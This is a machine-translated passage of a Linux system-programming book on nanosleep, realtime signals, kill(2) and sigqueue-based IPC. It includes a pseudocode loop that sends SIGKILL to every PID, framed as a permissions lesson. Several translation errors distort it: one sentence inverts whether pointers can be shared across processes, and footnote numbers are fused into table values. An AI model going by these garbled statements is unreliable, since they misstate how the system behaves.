seconds); -``` - -举个简单的例子,假设流程必须以这种方式工作(伪代码如下所示): - -```sh -<...> -func_a(); -sleep(10); -func_b(); -<...> -``` - -很明显:进程必须休眠`10`秒;显示的代码应该可以工作。 有问题吗? - -嗯,是的,有信号:如果进程进入睡眠,但进入睡眠三秒后,一个信号到达怎么办? 默认行为(即,除非信号被屏蔽)是处理信号,您可以想象,在剩下的时间(7 秒)内继续休眠。 但是,不,这不是事实:我们的睡眠计划被取消了! 精明的读者可能会争辩说,使用“`SA_RESTART`”标志可以修复此行为(被信号中断的阻塞系统调用);的确,这听起来很合理,但实际情况是,即使使用该标志也无济于事(必须手动重新启动睡眠模式)。 - -此外,重要的是要认识到,`sleep(3)`的 API 文档说明其返回值是剩余的休眠时间;因此,除非`sleep(3)`返回`0`,否则休眠还没有完成! 开发人员实际上应该在循环中调用`sleep(3)`函数,直到返回值为`0`。 - -What does making a process (or thread) "go to sleep" really mean? -The key point is this: a process (or thread) that's asleep cannot run on the CPU while in that state; it is not even a candidate for the OS scheduler (technically, the transition from state  -Running->sleeping is a dequeue from a run queue and an enqueue on to a wait queue within the OS, and vice versa). More on this in [Chapter 17](17.html), *CPU Scheduling on Linux*. - -因此,我们得出的结论是,仅仅在代码中使用参数`sleep(3)`并不是一个很好的想法,原因如下: - -* 睡眠一旦被信号传输中断,必须手动重新启动。 -* `sleep(3)`秒的粒度非常粗:一秒。 (对于现代微处理器来说,一秒是非常、非常长的时间! 许多实际应用至少依赖于毫秒到微秒级别的粒度。) - -那么,解决方案是什么呢? - -# 纳米睡眠系统调用 - -Linux 提供了一个系统调用`nanosleep(2)`,理论上可以提供纳秒级别的粒度,即单个纳秒的休眠。 (实际上,粒度还取决于板上硬件定时器芯片的分辨率。)。 以下是该接口的原型: - -```sh -#include -int nanosleep(const struct timespec *req, struct timespec *rem); -``` - -系统调用有两个参数,都是指向数据类型 struct`timespec`结构的指针,该结构定义如下: - -```sh -struct timespec { - time_t tv_sec; /* seconds */ - long tv_nsec; /* nanoseconds */ -}; -``` - -显然,这允许您以秒和纳秒为单位指定休眠时间;第一个参数`req`是所需的最短时间(`s.ns`),第二个参数`rem`是剩余的休眠时间。请看,操作系统在这里帮助我们:如果休眠被信号中断(任何非致命的信号),则`nanosleep `系统调用将失败返回`-1`,并将 errno 参数设置为值`EINTR`(中断的系统调用)。 不仅如此,操作系统还会计算并返回(进入第二个指针,这是一种超值结果类型的参数),睡眠的剩余时间精确到纳秒。通过这种方式,我们检测到这种情况,将`req`设置为`rem`,然后手动重新发出`nanosleep(2)`命令,让睡眠持续到完全完成。 - -为了演示,我们接下来展示一个小应用(源代码:`ch12/sleeping_beauty.c`);用户可以调用通常的`sleep(3)`休眠方法,也可以使用非常优越的`nanosleep(2)`休眠 API,这样休眠时间是准确的: - -```sh -static void sig_handler(int signum) -{ - fprintf(stderr, "**Signal %d interruption!**\n", signum); -} - -int main(int argc, char **argv) -{ - struct sigaction act; - int nsec = 10, ret; - struct timespec req, rem; - - if (argc == 1) { - fprintf(stderr, "Usage: %s option=[0|1]\n" - "0 : uses the sleep(3) function\n" - "1 : uses the nanosleep(2) syscall\n", argv[0]); - exit(EXIT_FAILURE); - } - /* setup signals: trap SIGINT and SIGQUIT */ - memset(&act, 0, sizeof(act)); - act.sa_handler = sig_handler; - sigemptyset(&act.sa_mask); - act.sa_flags = SA_RESTART; - if (sigaction(SIGINT, &act, 0) || sigaction(SIGQUIT, &act, 0)) - FATAL("sigaction failure\n"); - - if (atoi(argv[1]) == 0) { /* sleep */ - printf("sleep for %d s now...\n", nsec); - ret = sleep(nsec); - printf("sleep returned %u\n", ret); - } else if (atoi(argv[1]) == 1) { /* nanosleep */ - req.tv_sec = nsec; - req.tv_nsec = 0; - while ((nanosleep(&req, &rem) == -1) && (errno == EINTR)) { - printf("nanosleep interrupted: rem time: %07lu.%07lu\n", - rem.tv_sec, rem.tv_nsec); - req = rem; - } - } - exit(EXIT_SUCCESS); -} -``` - -请注意前面代码中的以下内容: - -* 将`0`作为参数传递让我们调用通常的`sleep(3)`*。* - * 我们在这里故意不使用循环进行编码,因为这是大多数程序员称为`sleep(3)`的方式(因此我们可以看到缺陷)。 -* 将`1`作为参数传递让我们调用功能强大的`nanosleep(2)`API;我们将所需时间初始化为 10 秒(与前面的情况相同)。 - * 但是,这一次,我们在循环中调用信号`nanosleep(2)`,检查信号中断情况`errno == EINTR`,如果是, - * 我们把`req`号设为`rem`号,再打一次! - * (为了好玩,我们打印剩余时间`s.ns`): - -```sh -$ ./sleeping_beauty -Usage: ./sleeping_beauty option=[0|1] -0 : uses the sleep(3) function -1 : uses the nanosleep(2) syscall -$ -``` - -我们两种情况都试一试:第一,常用的`sleep(3)`测试方法: - -```sh -$ ./sleeping_beauty 0 -sleep for 10 s now... -^C**Signal 2 interruption!** -sleep returned 7 -$ -``` - -进入休眠状态几秒钟后,我们按下*^C*;信号到达,但休眠被中止(如图所示,还剩下 7 秒的休眠时间,这里的代码完全忽略了这一点)! - -现在有一个好的例子:通过床睡觉`nanosleep(2)`: - -```sh -$ ./sleeping_beauty 1 -^C**Signal 2 interruption!** -nanosleep interrupted: rem time: 0000007.249192148 -^\**Signal 3 interruption!** -nanosleep interrupted: rem time: 0000006.301391001 -^C**Signal 2 interruption!** -nanosleep interrupted: rem time: 0000004.993030983 -^\**Signal 3 interruption!** -nanosleep interrupted: rem time: 0000004.283608684 -^C**Signal 2 interruption!** -nanosleep interrupted: rem time: 0000003.23244174 -^\**Signal 3 interruption!** -nanosleep interrupted: rem time: 0000001.525725162 -^C**Signal 2 interruption!** -nanosleep interrupted: rem time: 0000000.906662154 -^\**Signal 3 interruption!** -nanosleep interrupted: rem time: 0000000.192637791 -$ -``` - -这一次,我们亲爱的孩子`sleeping_beauty`跑(睡?)。 即使在存在通过多个信号的连续中断的情况下也要完成。 不过,你应该注意到这样一个事实:是的,会有一些开销。 操作系统做出的唯一保证是,睡眠至少会持续所需的时间,可能还会更长一点。 - -注意:虽然使用`nanosleep(2)`代码的实现比通常的`sleep(3)`API 要好得多,但事实是,当代码在循环中时,即使是`nanosleep`代码也会受到(可能会变得非常严重的)时间和溢出的影响,并且足够多的信号会多次中断我们的循环(就像我们前面的示例中可能发生的那样)。 在这样的情况下,我们最终可能会睡过头。 为了解决这个问题,POSIX 标准和 Linux 提供了一个更好的`clock_nanosleep(2)`模式系统调用:将其与实时时钟和标志值`TIMER_ABSTIME`一起使用可以解决过度睡眠问题。还需要注意的是,尽管 Linux 的`sleep(3)`API 是通过`nanosleep(2)`在内部实现的,但休眠语义仍然是描述的;应用开发人员有责任在循环中调用休眠代码,检查返回值和失败情况。 - -# 实时信号 - -回想一下`kill -l`命令的输出(l 代表列表);显示平台支持的信号-数字整数和符号名称。 前 31 个信号是标准或 Unix 信号(参见[第 11 章](11.html),*信号-第 I 部分*和*标准或 Unix 信号*部分);我们现在已经使用它们相当多了。 - -34 至 64 号信号均以`SIGRT`-`SIGRTMIN`至`SIGRTMAX`开头-它们称为**实时**信号: - -```sh -$ kill -l |grep "SIGRT" -31)SIGSYS 34) SIGRTMIN 35) SIGRTMIN+1 36) SIGRTMIN+2 37) SIGRTMIN+3 -38)SIGRTMIN+4 39) SIGRTMIN+5 40) SIGRTMIN+6 41) SIGRTMIN+7 42) SIGRTMIN+8 -43)SIGRTMIN+9 44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13 -48)SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12 -53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9 56) SIGRTMAX-8 57) SIGRTMAX-7 -58) SIGRTMAX-6 59) SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 62) SIGRTMAX-2 -63) SIGRTMAX-1 64) SIGRTMAX -$ -``` - -(这里看到的第一个 SIGRT`SIGSYS`不是实时信号;它出现是因为它与其他 SIGRT 在同一行,所以`grep(1)`打印它。) - -# 与标准信号的差异 - -那么,所谓的实时信号与常规的标准信号有何不同;下表揭示了这一点: - -| **特征** | **标准信号** | **实时信号** | -| 编号 / 编号方式 | 1-311 | 34-642 | -| 中定义的第一个标准 - | POSIX.1-1990(旧) | POSIX 1003.1b:POSIX(2001)的实时扩展 - | -| 指定的含义 | 单个信号具有 -特定含义(并相应地命名);例外是`SIGUSR[1|2]` | 单独的 RT 信号没有特殊的含义;它们的含义由 APP 定义 | -| 被阻止时的行为和同一信号的多个实例连续传送 | 在同一信号的 n 个实例中,有 n-1 个实例丢失;只有 1 个实例保持挂起状态,并在解锁后传递到目标进程 | RT 信号的所有实例都会重新排队,并在解锁时由操作系统发送到目标进程(有系统范围的上限3) | -| 信号优先级 | 相同的:所有的标准信号都是同级的 | 除非挂起,否则 FCF 不工作;如果挂起,则信号从最低编号到最高编号的实时信号传送到4 | -| **进程间通信**(**IPC**) | 粗略的 IPC;可以使用`SIGUSR[1|2]`命令进行通信,但不能传递其他数据。 | 更好的做法是:通过函数`sigqueue(3)`,可以将单个数据项(整数或指针值)发送到对等进程(该进程可以检索它) | - -Differences between standard and realtime signals - -1信号编号为`0`? 不存在,用于检查进程是否存在(见后文)。 - -2问:实时信号 32 号和 33 号怎么了? 答案是:它们保留供 pthread 实现使用,因此应用开发人员不可用。 - -3-系统范围的上限是资源限制,因此可以通过`prlimit(1)`系统实用程序(或`prlimit(2)`系统调用)查询或设置: - -```sh -$ prlimit |grep SIGPENDING -SIGPENDING max number of pending signals 63229 63229 signals -$ -``` - -(回想一下[第 3 章](03.html)、*资源限制*,第一个数字是软限制,第二个是硬限制)。 - -4实时信号优先级:实时信号的多个实例完全按照它们的传送顺序进行处理(换句话说,**先到先服务**)(**FCFC**)。 但是,如果这些多个实时信号正在等待传送到进程,即它们当前被阻塞,则它们将按优先级顺序处理,而不是以非直观的方式处理,`SIGRTMIN`是最高优先级信号,而`SIGRTMAX`是最低优先级信号。 - -# 实时信号和优先级 - -POSIX 标准和 Linux 文档规定,当多个不同类型的实时信号等待传送到一个进程时(即进程正在阻塞它们);然后,在某个时候,当进程的信号掩码被完全解锁时(从而允许信号被传送),这些信号确实是按优先级顺序传送的:从最小的信号号到最高的信号号。 - -让我们测试一下:我们编写了一个程序,在传递三个实时信号时捕获和阻塞:{`SIGRTMAX-5`,`SIGRTMAX`,`SIGRTMIN+5`}。 (看看`kill -l`的输出,它们的整数值分别是{59,64,39}。) - -重要的是,在执行`sigaction(2)`时,我们的程序将使用`sigfillset(3)`这个方便的方法用全 1 填充 struct sigaction 的信号掩码成员,从而确保在信号处理程序代码运行时所有的信号都被阻塞(屏蔽)。 - -请考虑以下事项: - -* 过程 1(代码:`ch12/rtsigs_waiter.c`)捕获 RT 信号(带有 Sigaction) - {`SIGRTMAX-5`,`SIGRTMAX`,`SIGRTMIN+5`}:整数值分别为{59,64,39}。 -* 然后,我们有一个 shell 脚本(`bombard_sigrt.sh`),按以下顺序连续(或针对请求的数量)向这三个实时信号发送三个一批的信号: - {`SIGRTMAX-5`,`SIGRTMAX`,`SIGRTMIN+5`}:整数值分别为{59,64,39}。 -* 第一个 RT 信号(#59)导致进程进入信号处理程序例程;回想一下,我们已经(在`sigaction(2)`时)指定在信号处理程序代码运行时阻止(屏蔽)所有信号。 - * 我们故意使用`DELAY_LOOP_SILENT`宏来保持信号处理程序运行一段时间。 -* 因此,脚本传递的 RT 信号不能中断处理程序(它们被阻止),因此操作系统会将它们排队。 -* 一旦信号处理程序完成并返回,队列中的下一个 RT 信号就会传递给进程。 - * 按照优先级顺序,它们从最小到最高,如下所示: - {`SIGRTMIN+5`,`SIGRTMAX-5`,`SIGRTMAX`}:整数值:{39,59,64}。 - -下一次运行将在 Linux 上验证此行为: - -We do not show the source code here; to view the complete source code, build it, and run it, the entire tree is available for cloning from GitHub here: [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux/blob/master/ch12/rtsigs_waiter.c](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux/blob/master/ch12/rtsigs_waiter.c) and [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux/blob/master/ch12/bombard_sigrt.sh](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux/blob/master/ch12/bombard_sigrt.sh). - -```sh -$ ./rtsigs_waiter -Trapping the three realtime signals -Process awaiting signals ... -``` - -在另一个终端窗口中,我们运行 Bombard 脚本: - -```sh -$ ./bombard_sigrt.sh -Usage: bombard_sigrt.sh PID-of-process num-RT-signals-batches-to-send - (-1 to continously bombard the process with signals). -$ $ ./bombard_sigrt.sh $(pgrep rtsigs_waiter) 3 -Sending 3 instances each of RT signal batch - {SIGRTMAX-5, SIGRTMAX, SIGRTMIN+5} to process 3642 ... - i.e. signal #s {59, 64, 39} -SIGRTMAX-5 SIGRTMAX SIGRTMIN+5 SIGRTMAX-5 SIGRTMAX SIGRTMIN+5 SIGRTMAX-5 SIGRTMAX SIGRTMIN+5 -$ -``` - -在运行`rtsigs_waiter`进程的原始终端窗口中,我们现在可以看到: - -```sh -sighdlr: signal 59, s=1 ; total=1; stack 0x7ffd2f9c6100 :* -sighdlr: signal 39, s=2 ; total=2; stack 0x7ffd2f9c6100 :* -sighdlr: signal 39, s=3 ; total=3; stack 0x7ffd2f9c6100 :* -sighdlr: signal 39, s=4 ; total=4; stack 0x7ffd2f9c6100 :* -sighdlr: signal 59, s=5 ; total=5; stack 0x7ffd2f9c6100 :* -sighdlr: signal 59, s=6 ; total=6; stack 0x7ffd2f9c6100 :* -sighdlr: signal 64, s=7 ; total=7; stack 0x7ffd2f9c6100 :* -sighdlr: signal 64, s=8 ; total=8; stack 0x7ffd2f9c6100 :* -sighdlr: signal 64, s=9 ; total=9; stack 0x7ffd2f9c6100 :* -``` - -请注意以下事项: - -* 脚本发送的第一个 TRT 信号是`SIGRTMAX-5`(值为 59);因此,它进入信号处理程序并被处理。 - * 当信号处理器运行时,所有信号都会被阻塞。 -* 脚本继续输出剩余的 RT 信号(请参见其输出),同时这些信号被屏蔽。 -* 因此,它们由操作系统排队,一旦处理程序按优先级顺序完成:从最低到最高编号的 RRT 信号,即优先级顺序是从`SIGRTMIN`(最高)到`SIGRTMAX`(最低)。 -* 由于他们还在排队,所以没有信号丢失。 - -下面是一个屏幕截图,演示了大量 RT 信号的情况: - -![](img/b0438cda-7ad0-4ffc-95e5-d8f4e4019a1c.png) - -将 10 传递给脚本(请参见右侧窗口)使其以 10 个批次({`SIGRTMIN+5`,`SIGRTMAX-5`,`SIGRTMAX`})传送 3x10:30 RT 信号。 请注意,在左侧窗口中,它们是如何(当然第一个实例除外)按照优先级顺序(从低到高-首先)处理的,然后是所有的 39{`SIGRTMIN+5`},然后是所有的 59{`SIGRTMAX-5`},最后是最低优先级的 64S{`SIGRTMAX`}RT 信号。 - -该脚本通过发出`kill(1)`命令向进程发送信号;本章稍后将对此进行详细说明。 - -总而言之,实时信号的处理如下: - -* 如果解锁,它们将按照 FCFS 的顺序逐一处理。 -* 如果阻塞,则它们被排队并按优先级顺序传送-最低 RT 信号是最高优先级,最高 RT 信号是最低优先级。 - -一如既往,强烈建议您(读者)检查代码并亲自尝试这些实验。 - -# 发送信号 - -我们通常会看到内核向一个进程发送信号的情况;一个进程没有理由不向另一个进程发送一个(或几个)信号。 在本节中,我们将深入研究从进程向进程发送信号的细节,以及与此相关的概念。 - -您可能会想,即使您可以向另一个进程发送信号,它又有什么用处呢? 嗯,想想看:信号发送可以用作一种新的**进程间通信**和(**IPC**)机制,例如。 此外,这也是检查进程是否存在的一种方式! 还有其他有用的情况,比如给自己发信号。 让我们进一步探讨这些问题。 - -# 干掉他们就行了 - -我们如何向另一个进程发送信号:简短的回答,通过`kill(2)`的系统调用。 杀戮 API 可以向给定 PID 的进程传递信号、任何信号;`kill(2)`上手册页中的函数签名: - -```sh -#include -#include - -int kill(pid_t pid, int sig); -``` - -注意:它非常通用-您几乎可以向任何进程发送任何信号(它的名称可能更适合命名为`sendsig`,但是,当然,这不是一个像 Kill 那样令人兴奋的名称)。 - -当然,用户命令`kill(1)`是对`kill(2)`系统调用的包装。 - -很明显,从前面的 API 中,您可以推断信号`sig`i 被发送到 PID 值为 PID 的进程。 不过,请稍等,还有几种特殊情况需要考虑;请参阅下表: - -| **取消 PID 值*****和*** | ****Meaning**** | -| >0 | 信号被发送到数字 PID 等于该值的进程(通常情况下)。 | -| 0 | 该信号被发送到调用方的进程组1内的所有进程。 | -| -1 | 信号被发送到调用者有权发送的所有进程(见下文),除了整个祖先进程 PID 1(传统上是 init,现在是 systemd)。2 | -| | 该信号被发送到进程组内的所有进程,其中一个进程具有 ID、PID。 | - -1流程组:每个进程都是进程组的成员(每个 PGRP 都有自己的唯一 ID,等于第一个成员的 PID,称为进程组长。 使用`ps j `查找进程组详细信息;此外,还可以使用系统调用`get|set]pgid(2), [get|set]pgrp(2)`。 - -如果您通过管道(例如,`ps aux |tail |sort -k6n`)运行一系列进程,并在其运行后在键盘上键入*^C*,那么我们可以理解信号 SIGINT 是通过内核的 tty 层生成的;但是发送给哪个进程呢? 当前作为前述管道的一部分运行的所有进程都构成了前台进程组。与信号有关的重要性:通过键盘生成的任何信号(如*^C*、*^\*、*^Z*)都会传递给属于前台进程组的所有进程。 (这样三个人都会收到信号。 有关 GitHub 存储库上进程组的更多信息,请查看*进一步阅读*部分的链接。) - -2 在 Linux 上的中,`kill(-1, sig)`不会向调用进程本身发送数据`sig`。 - -# 加薪要自杀了 - -尽管听起来很戏剧性,但这里我们指出了一个简单的包装器 API:*raise(3)和*库调用。 以下是它的签名: - -```sh -include -int raise(int sig); -``` - -这实际上非常简单:给定一个信号编号,提升 API 将引发给定的信号,并将其发送到调用进程(或线程)。 如果捕获到有问题的信号,则只有在信号处理程序完成后,才会返回异常。 - -回想一下,我们在本章前面的`handle_segv.c`*和*程序中使用过这个 API:对于信号 SIGSEGV,我们使用它来确保在我们自己的处理完成之后,我们自己重新引发相同的信号,从而确保核心转储发生。 - -(不过,从哲学上讲,获得加薪对你的幸福商的影响是有限的。) - -# 特工 00-允许杀死 - -在伊恩·弗莱明(Ian Fleming)的书中,詹姆斯·邦德(James Bond)是一个双重间谍(007):一个被允许杀人的特工! - -那么像邦德一样,我们也可以不杀,嗯,一个过程,当然就是给它一个信号。 它没有邦德那么戏剧化和激动人心,但是,嘿,我们可以! 嗯,如果(如果且仅当)我们有这样做的许可。 - -所需权限:发送过程必须满足以下任一条件: - -* 拥有 root 权限-在现代进程功能模型下(回想[第 8 章](08.html),*进程功能*),要求进程设置了`CAP_KILL`功能位;从有关进程功能的手册页(7):*CAP_KILL:*绕过发送信号的权限检查(请参见`kill(2)`)。 -* 拥有目标进程,这意味着发送者的 EUID(有效 UID)或 RUID(真实 UID)与目标的 EUID 或 RUID 应该分别匹配。 - -`kill(2)`上的手册页更详细地说明了 Linux 上有关发送信号权限的一些角例;如果感兴趣,请看一看。 - -因此,尽管听起来很诱人,但仅仅执行像(伪代码如下)这样的循环并不一定适用于所有活动的进程,当然,主要是因为缺乏权限: - -```sh -for i from 1 to PID_MAX - kill(i, SIGKILL) -``` - -即使您要运行前面显示为超级用户的代码,系统也不允许突然终止关键进程,如系统 d(或 init)。 (为什么不试试呢?不管怎样,这都是一种推荐的锻炼方式。 当然,尝试这样的东西是自找麻烦;我们建议您尝试一下测试 VM。) - -# 你在吗? - -检查进程的实际存在,它现在是活的吗?这对应用可能是至关重要的。 例如,应用函数接收进程的 PID 作为参数。 在它通过提供的 PID 对进程进行实际操作之前(也许向它发送一个信号),最好先验证该进程是否确实有效(如果它是死的,或者 PID 无效呢?)。 - -`kill(2)`系统调用在这方面为我们提供了帮助:Kill 的第二个参数是要发送的信号;使用`0`的值(回想一下,没有编号为 0 的信号)来验证第一个参数:PID。 具体是怎么回事? 如果`kill(2)`返回失败,要么是 PID 无效,要么是我们没有向进程(或进程组)发送信号的权限。 - -下面的伪代码演示了这一点: - -```sh -static int app_func_A(int work, pid_t target) -{ - [...] - if (kill(target, 0) < 0) - - return -1; - *[...it's fine; do the work on 'target'...]* -} -``` - -# 作为 IPC 发送信号 - -我们了解到,现代操作系统(如 Linux)使用的虚拟内存体系结构的一个基本副作用是,进程只能访问其自己的**虚拟地址空间**(**VAS**)内的内存,而且也只能访问有效的映射内存。 - -实际上,这意味着一个进程不能读取或写入任何其他进程的 VAS。 是的,但是,您如何与其他进程通信呢? 此场景在许多多进程应用中非常关键。 - -简短的答案是:IPC 改革机制。 Linux 操作系统有几个;在这里,我们使用其中之一:信号。 - -# 粗 IPC - -想想看,这很简单:进程 A 和 B 是多进程应用的一部分。 现在,进程 A 希望通知进程 B 它已经完成了一些工作;在收到此信息后,我们希望进程 B 也确认此信息。 - -我们可以通过如下信号设计一个简单的 IPC 方案: - -* 进程 A 正在执行其工作。 -* 进程 B 正在执行其工作(当然,它们是并行运行的)。 -* 进程 A 达到里程碑;它通过发送`SIGUSR1`(通过消息`kill(2)`)通知进程 B 这一点。 -* 捕获信号后,进程 B 进入其信号处理程序并根据需要进行验证。 -* 它通过发送进程 A(比方说`SIGUSR2`)(经由进程`kill(2)`)来确认该消息。 -* 捕获信号后,进程 A 进入其信号处理程序,了解到已从 B 接收到确认消息,生活继续。 - -(读者可以将此作为一个小练习来尝试。) - -但是,我们应该认识到一个重要的细节:IPC 意味着能够将数据发送到另一个进程。 然而,在上面,我们无法发送或接收任何数据;只是我们可以通过信号进行通信的事实(嗯,你可以争辩说,信号号码本身就是数据;是的,在有限的意义上是正确的)。 所以我们认为这是一种非常粗糙的 IPC 机制。 - -# 更好的 IPC-发送数据项 - -这就引出了下一个有趣的事实:通过信号发送数据量-一段数据-是不可能的。 要了解如何操作,让我们重温一下我们在本章早些时候研究过的功能强大的结构`siginfo_t`。 要让信号处理程序接收指向它的指针,请回想一下,我们在调用`sigaction(2)`时使用了`SA_SIGINFO`标志。 - -回想一下,在 struct`siginfo_t`中,除了前三个成员是简单整数外,第四个成员是结构的联合,但有七个成员-其中只有一个会在运行时实例化;执行实例化的那个成员取决于正在处理的是哪个信号! - -为了帮助我们回忆一下,这里是 struct`siginfo_t`的初始部分: - -```sh -typedef struct { - int si_signo; /* Signal number. */ - int si_code; - int si_errno; /* If non-zero, an errno value associated with - this signal, as defined in . */ - union - { - int _pad[__SI_PAD_SIZE]; - /* kill(). */ - struct - { - __pid_t si_pid; /* Sending process ID. */ - __uid_t si_uid; /* Real user ID of sending process. */ - } _kill; - - [...] -``` - -在结构的结合中,我们现在感兴趣的结构是处理实时信号的结构--这个结构: - -```sh -[...] - /* POSIX.1b signals. */ - struct - { - __pid_t si_pid; /* Sending process ID. */ - __uid_t si_uid; /* Real user ID of sending process. */ - __sigval_t si_sigval; /* Signal value. */ - } _rt; -[...] -``` - -因此,非常简单:如果我们捕获一些实时信号并使用`SA_SIGINFO`,我们将能够检索到指向此结构的指针;前两个成员显示发送进程的 PID 和 RUID。 这本身就是有价值的信息! - -不过,第三个成员`sigval_t`是关键(Ubuntu 上的`in /usr/include/asm-generic/siginfo.h`和 Fedora 上的`in /usr/include/bits/types/__sigval_t.h`): - -```sh -union __sigval -{ - int __sival_int; - void *__sival_ptr; -}; -typedef union __sigval __sigval_t; -``` - -请注意,`sigval_t`函数本身是两个成员的并集:一个整数和一个指针! 我们知道一个联盟只能在运行时实例化它的一个成员;因此这里的处理是:发送方进程用数据填充前面的一个成员,然后向接收方进程发送实时信号。 接收器可以通过适当地解除对前面的并集的引用来提取发送的数据量。 通过这种方式,可以跨进程发送数据;数据可以有效地搭载在实时信号上! 很酷。 - -但是想一想:我们只能使用一个成员来携带我们的数据,要么是整数`int sival_int`,要么是`void * sival_ptr`指针。 应该用哪一种呢? 回想一下我们在关于进程创建的[第 10 章](10.html)和*进程创建*中学到的内容是很有指导意义的:进程中的每个地址都是一个虚拟地址;也就是说,我的虚拟地址 X 很可能不指向与您的虚拟地址 X 相同的物理内存。换句话说,尝试通过指针(毕竟只是一个虚拟地址)来通信数据现在可能会像预期的那样工作。 (如果您对此不确定,我们是否建议重新阅读[第 10 章](10.html)、*流程创建*中的*malloc**和**分叉*部分。) - -总之,使用整数来保存数据并将其传递给我们的对等进程通常是一个更好的主意。 事实上,C 程序员知道如何从内存中从字面上提取每一个最后一位数据;您总是可以将整数视为位掩码,并交流更多信息! - -此外,C 库还提供了一个帮助器例程,可以非常轻松地发送一个信号,其中的数据嵌入到 API`sigqueue(3)`中。 它的签名是: - -```sh -#include -int sigqueue(pid_t pid, int sig, const union sigval value); -``` - -前两个参数很明显:将信号发送到的过程`sig`;第三个参数的值是讨论的联合。 - -让我们试一试;我们编写一个小型生产者-消费者类型的应用。 我们在后台运行消费者进程;它进行轮询,等待生产者向其发送一些数据。 (正如您可能猜到的,轮询并不理想;在多线程主题中,我们将介绍更好的方法;目前,我们将只简单地轮询。)。 当接收方检测到已向其发送数据时,它会显示所有相关详细信息。 - -首先,示例运行:首先,我们在后台运行使用者(接收者)进程: - -```sh -$ ./sigq_recv & [1] 13818 -./sigq_recv: Hey, consumer here [13818]! Awaiting data from producer -(will poll every 3s ...) -$ -``` - -接下来,我们运行生产者(`ch12/sigq_ipc/sigq_sender.c`),向消费者发送一个数据项: - -```sh -$ ./sigq_sender -Usage: ./sigq_sender pid-to-send-to value-to-send[int] -$ ./sigq_sender $(pgrep sigq_recv) 42 -Producer [13823]: sent signal 34 to PID 13818 with data item 42 -$nanosleep interrupted: rem time: 0000002.705461411 -``` - -消费者处理信号,了解数据已经到达,并在下一个轮询周期打印出详细信息: - -```sh -Consumer [13818] received data @ Tue Jun 5 10:20:33 2018 -: -signal # : 34 -Producer: PID : 1000 - UID : 1000 data item : 42 -``` - -For readability, only key parts of the source code are displayed next; to view the complete source code, build it and run it, the entire tree is available for cloning from GitHub here: [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux). - -以下是接收器:`ch12/sigq_ipc/sigq_recv.c`:`main()`函数: - -```sh -#define SIG_COMM SIGRTMIN -#define SLP_SEC 3 - -[...] -static volatile sig_atomic_t data_recvd=0; -[...] -int main(int argc, char **argv) -{ - struct sigaction act; - - act.sa_sigaction = read_msg; - sigfillset(&act.sa_mask); /* disallow all while handling */ - act.sa_flags = SA_SIGINFO | SA_RESTART; - if (sigaction(SIG_COMM, &act, 0) == -1) - FATAL("sigaction failure"); - - printf("%s: Hey, consumer here [%d]! Awaiting data from producer\n" - "(will poll every %ds ...)\n", - argv[0], getpid(), SLP_SEC); - -/* Poll ... not the best way, but just for this demo... */ - while(1) { - r_sleep(SLP_SEC); - if (data_recvd) { - display_recv_data(); - data_recvd = 0; - } - } - exit(EXIT_SUCCESS); -} -``` - -我们在实时信号到达时进行轮询,在每次循环迭代中在循环中休眠 3 秒;轮询确实不是最好的编码方式;目前,我们只是简单地这样做(在[第 14 章](14.html),*使用 PthreadsI 多线程第 I 部分-基本*)和[第 15 章](15.html),*使用 PthreadsPart II 多线程-同步*中,我们将介绍针对数据值进行同步的其他有效方法 - -正如在*正确睡眠*一节中所解释的,我们更喜欢在`nanosleep(2)`之上使用我们自己的包装器,而不是我们的`r_sleep()`函数,从而保证睡眠安全。 - -同时,部分发件人密码:`ch12/sigq_ipc/sigq_sender.c`:`send_peer()`: - -```sh -static int send_peer(pid_t target, int sig, int val) -{ - union sigval sv; - - if (kill(target, 0) < 0) - return -1; - - sv.sival_int = val; - if (sigqueue(target, sig, sv) == -1) - return -2; - return 0; -} -``` - -此函数执行检查目标进程是否确实处于活动状态的工作,如果是,则通过有用的`sigqueue(3)`库 API 向其发送实时信号。 一个关键点:我们包装或嵌入要在联合`sigval`内部发送的原始数据,作为整数值。 - -返回到接收器:当它确实接收到实时信号时,其指定的信号处理程序代码`read_msg()`将运行: - -```sh -[...] -typedef struct { - time_t timestamp; - int signum; - pid_t sender_pid; - uid_t sender_uid; - int data; -} rcv_data_t; -static rcv_data_t recv_data; - -[...] - -/* - * read_msg - * Signal handler for SIG_COMM. - * The signal's receipt implies a producer has sent us data; - * read and place the details in the rcv_data_t structure. - * For reentrant-safety, all signals are masked while this handler runs. - */ -static void read_msg(int signum, siginfo_t *si, void *ctx) -{ - time_t tm; - - if (time(&tm) < 0) - WARN("time(2) failed\n"); - - recv_data.timestamp = tm; - recv_data.signum = signum; - recv_data.sender_pid = si->si_pid; - recv_data.sender_uid = si->si_uid; - recv_data.data = si->si_value.sival_int; - - data_recvd = 1; -} -``` - -我们更新一个结构来保存数据(和元数据),以便在需要时方便地打印它。 - -# 侧边栏-LTTng - -另一个非常有趣的问题是,如果可以真正跟踪发送方和接收方进程执行时的流,那不是很棒吗? 嗯,Linux 提供了几个工具来精确地实现这一点。 在比较复杂的软件中,有一款名为**Linux Tracking Toolkit Next Generation**(**LTTng**)的软件。 - -LTTng 非常强大;一旦设置好,它就能够跟踪内核和用户空间(尽管跟踪用户空间需要应用开发人员显式地检测他们的代码)。 在前面的进程运行时,您的作者使用 LTTng 执行系统跟踪(内核空间);LTTng 完成了任务,捕获跟踪数据(以一种称为 CTF 的格式)。 - -然后,使用出色的*Trace Compass*GUI 应用以有意义的方式显示和解释跟踪会话;下面的屏幕截图显示了一个示例;您可以看到发送方通过`sigqueue(3)`库 API 将信号发送到接收方进程的点,如您所见,该 API 已转换为`rt_sigqueueinfo(2)`的系统调用(其在内核中的入口点显示为如下所示的`syscall_entry_rt_sigqueueinfo`事件)。 - -接下来,接收器处理(这里的`sigq_trc_recv`)接收(然后处理)信号: - -![](img/633873c7-7faa-4f61-9a0b-5ef42fb71bdd.png) - 